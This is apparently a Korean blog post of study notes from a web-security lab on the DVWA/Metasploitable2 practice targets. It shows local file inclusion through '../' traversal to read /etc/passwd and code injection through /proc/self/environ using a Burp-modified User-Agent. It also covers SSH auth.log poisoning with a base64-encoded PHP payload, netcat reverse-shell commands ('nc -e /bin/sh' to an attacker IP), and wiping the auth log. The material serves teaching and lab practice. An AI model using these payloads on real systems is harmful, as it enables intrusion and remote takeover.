LFI(Local File Inclusion)

웹브라우저를 통해서 서버에 파일을 포함시키는 과정의 공격



원할한 공격을 위해 meta의 보안레벨을 low로 설정.


이 규칙에 의해 밑에 실습이 허용된다.




url을 일부로 오류를 내게되면

위의 그림과 같이 에러메세지가 출력되는데, 이것을 통해 폴더 안에 정보를 확인할 수 있다. 


이부분을 var/www/dvwa/vulnerabilities/fi/index.php 

현재위치가 var/www/dvwa/vulnerabilities/fi 총 5개로

../../../../../ -> root로 돌아온것이구 여기서 보고싶은 파일 이름을치면


아래와 같이 /etc/passwd의 파일 내용을 볼 수 있다.


같은방법으로 /var/www/dvwa/robots.txt파일의 내용도

../../../../../var/www/dvwa/robots.txt



프록시

자신의 위치를 속일 수 있음.

클 -> 프 -> 서


클 -> 프 //클라 ip -> 프록시에게 전송

  //클라는 127.0.0.1에 포트 8080 오픈

프 -> 서 //프록시 ip -> 서버에게 전송


burp-StartBurp //프록시 실행 프로그램



// 127.0.0.1 8080 으로 실행


파이어폭스에서


설정한 ip와 포트번호



세션을 맺었기 때문에 아래와 같이 로그가 남는다.



헤더의 정보를 이런식으로 확인할 수 있다.


[인터셉트를 통해 php문 삽입]


1.  인터셉트를 온으로 한다.


2.url에 http://meta/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ을 입력. 


3. 아래와 같이 탈취를하게 되는데, user-agent부분을 

<?php phpinfo() ?>로 변경


4. 요청한 페이지가 phpinfo()로 변경되어 접속이 된다.



아래와 같이 신분증과 같은역할의 값을 확인할 수 있다.




php 함수 중 passthru()

외부 프로그램을 실행하고 실행하는 동안 화면을 실시간으로 출력하는 함수 즉, 원격 접속과 비슷하다.

<?php passthru() ?>


netcat 프로그램 사용

-l  옵션 : 임의의 포트를 열어 원격접속이 가능하게 함. listen port

-p 옵션 : 포트 번호 지정

-e 옵션 : 셸을 실행

nc -vvlp 8888 //8888 포트를 개방하고 자세히 출력


열린 것 을 확인.

netstat -ant |grep 8888


<?php passthru("nc -e /bin/sh [공격자 IP] [열어놓은포트번호]"); ?>

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>


이런식으로 원격접속이 가능하게 된다.


cd /var/www/dvwa

vi index.php 수정





[SSH 연결을 통해 원격관리]

SSH TCP 22 암호화된 연결제공

ssh -l msfadmin 192.168.232.131 

ssh msfadmin@192.168.232.131

원할한 테스트를위해 메타스플로잇2의 로그를삭제.

vi /var/log/auth.log

:%d   //안에 값을 전부삭제

:wq //저장


ssh를 통해 아무 아이디로 로그인

ssh random@192.168.232.131


위의 로그인했던 정보가 auth.log에 기록된다.


wireshark로 확인해 보면 암호화로 되는 것을 볼 수 있다.


burp suite에서 decoder를 통해 아래 문장을 변환한다.

nc -e /bin/sh 192.168.232.100 8888 

bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA 암호화된 문장을 php의 추가

==을 삭제해야 실행된다.


base64로 암호화 했기 때문에 base64_decode를 붙여준다.

<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>


msfadmin@192.168.232.131  //빨간색으로 대체.

ssh "<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>"@192.168.232.131

비번 아무거나 입력


이렇게 원격 접속이 된다.











'Web Security' 카테고리의 다른 글

XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25
http  (0) 2019.03.25
bee-box설치  (0) 2019.03.21

+ Recent posts